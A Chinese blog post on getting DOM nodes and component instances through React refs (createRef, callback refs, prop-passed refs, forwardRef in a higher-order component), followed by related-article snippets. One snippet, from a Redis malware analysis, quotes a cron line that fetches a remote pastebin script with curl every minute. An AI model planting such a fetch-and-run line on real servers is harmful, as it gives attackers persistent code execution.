react ref获取dom对象
step = React.createRef(); // init
<div ref={this.step}></div> // bind
componentDidMount() {
l(this.step.current.offsetHeight); // 获取数据
}
为 类 添加ref
这种方法是获取组件的实例,而不是组件的dom
class Hello extends Component {
log = () => {
l(1);
};
render() {
return (
<div>
<button>click me</button>
</div>
);
}
}
class Test extends Component {
btn = React.createRef();
componentDidMount() {
this.btn.current.log(); // 1
}
render() {
return (
<div>
<Hello ref={this.btn} />
</div>
);
}
}
函数组件使用 ref
function CustomTextInput(props) {
// 这里必须声明 textInput,这样 ref 回调才可以引用它
let textInput = null;
function handleClick() {
textInput.focus();
}
return (
<div>
<input
type="text"
ref={(input) => { textInput = input; }} />
<input
type="button"
value="Focus the text input"
onClick={handleClick}
/>
</div>
);
}
传递 refs
class Hello extends Component {
render() {
return (
<div>
<button ref={this.props.btnRef}>click me</button>
</div>
);
}
}
class Test extends Component {
btn = React.createRef();
componentDidMount() {
fromEvent(this.btn.current, "click").subscribe(v => l(v.type)); // click
}
render() {
return (
<div>
<Hello btnRef={this.btn} />
</div>
);
}
}
高阶组件中传递 ref
function withTest() {
return function(Target) {
class WithTest extends Component {
render() {
const { forwardedRef, ...rest } = this.props;
return (
<div>
233
<Target ref={forwardedRef} {...rest} />
</div>
);
}
}
function forwardRef(props, ref) {
return <WithTest {...props} forwardedRef={ref} />;
}
return React.forwardRef(forwardRef);
};
}
@withTest()
class Hello extends Component {
render() {
return (
<div>
<div>hello</div>
</div>
);
}
}
class Test extends Component {
btn = React.createRef();
componentDidMount() {
l(this.btn.current); // 获取到 Hello 的实例
}
render() {
return <Hello ref={this.btn} />;
}
}
react ref获取dom对象的更多相关文章
- React对比Vue(03 事件的对比,传递参数对比,事件对象,ref获取DOM节点,表单事件,键盘事件,约束非约束组件等)
import React from 'react'; class Baby extends React.Component { constructor (props) { super(props) t ...
- React 事件对象、键盘事件、表单事件、ref获取dom节点、react实现类似Vue双向数据绑定
1.案例实现代码 import React, { Component } from 'react'; /** * 事件对象.键盘事件.表单事件.ref获取dom节点.react实现类似Vue双向数据绑 ...
- 六、React 键盘事件 表单事件 事件对象以及React中的ref获取dom节点 、React实现类似Vue的双向数据绑定
接:https://www.cnblogs.com/chenxi188/p/11782349.html 事件对象 .键盘事件. 表单事件 .ref获取dom节点.React实现类似vue双向数据绑定 ...
- vue 使用ref获取DOM元素和组件引用
在vue中可以通过ref获取dom元素,并操作它,还可以获取组件里面的数据和方法. HTML部分: <div id="app"> <input type=&quo ...
- dom变成jquery对象 先获取dom对象 然后通过$()转换成jquery对象
dom变成jquery对象 先获取dom对象 然后通过$()转换成jquery对象
- js点滴知识(1) -- 获取DOM对象和编码
在今天的工作中发现了一些小的问题,在网上查了一下,才知道自己的js才是冰山一角,以后要虚心向他人学习,要虚怀若谷. 发现一:js获取DOM对象与jquery的区别 先前总以为,二者是一样的,最近才知道 ...
- ExtJs 获取Dom对象
对象指页面上的某一部分,如:Input等.我觉得在EXT JS中会有三类基本对象,htmlelement , EXT.Element和CompositeElement .分别解释一下: htmlele ...
- vue的数据双向绑定和ref获取dom节点
vue是一个MVVM的框架 业务逻辑代码即js部分是model部分, html是view部分. 当model改变的时候,view也会改变 view 改变是,model也会改变 <template ...
- Vue系列之 => ref获取DOM元素和组件
可以获取DOM元素,和组件中的数据,方法 <!DOCTYPE html> <html lang="en"> <head> <meta ch ...
随机推荐
- YUV420序列转成图片
首先声明一点,这里的YUV其实不是YUV,严格来说是YCbCr.这里就先这样称呼YUV吧.本文是关于YUV420格式的视频转成图片序列的. 关于YUV格式的图片,存储如下图所示: 举个例子,一个640 ...
- js-工具函数
/** * 将文件大小转换成 ['B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'],单位 * @param bytes * @returns */ ...
- javascript日期时间操作库推荐
https://github.com/datejs/Datejs 链接: https://pan.baidu.com/s/1QTGhxslarNyW_0kB6gyJYA 提取码: ibab 如果这篇文 ...
- t-io 集群解决方案以及源码解析
t-io 集群解决方案以及源码解析 0x01 概要说明 本博客是基于老谭t-io showcase中的tio-websocket-showcase 示例来实现集群.看showcase 入门还是挺容易的 ...
- 如何禁用package-lock
因为 package-lock.json是自动生成的,可以配置 npm 来避免经常需要手动删除这个文件. 在当前项目禁用 package-lock.json 控制台下输入 echo 'package- ...
- C# System.Threading.AutoResetEvent
表示线程同步事件在一个等待线程释放后收到信号时自动重置. using System; using System.Threading; // Visual Studio: Replace the def ...
- C#版Websocket实例
C#版Websocket实例 Demo地址:www.awbeci.xyz websocket有java.nodejs.python,Php等等版本,我使用的是C#版本,服务器端是Fleck,git ...
- ScreenToGif 使用教程
ScreenToGif 使用教程 ScreenToGif 是个强大的 Gif 录制/剪辑工具.其使用指南译文如下: 第一部分:录制 第二部分:编辑器 第三部分:主页.播放 第四部分:编辑.图像.过渡. ...
- 记一次redis病毒分析笔记
起因 偶然间发现redis里有一个陌生key:tightsoft,它的值是:*/1 * * * * root curl -fsSL https://pastebin.com/raw/xbY7p5Tb| ...
- 【Unity/Kinect】手势识别Gesture
在Unity的AssetStore官方商店下载Kinect v2 Examples案例包,参考KinectDemos/GestureDemo这个文件夹下的例子. 自定义一个类,实现KinectGest ...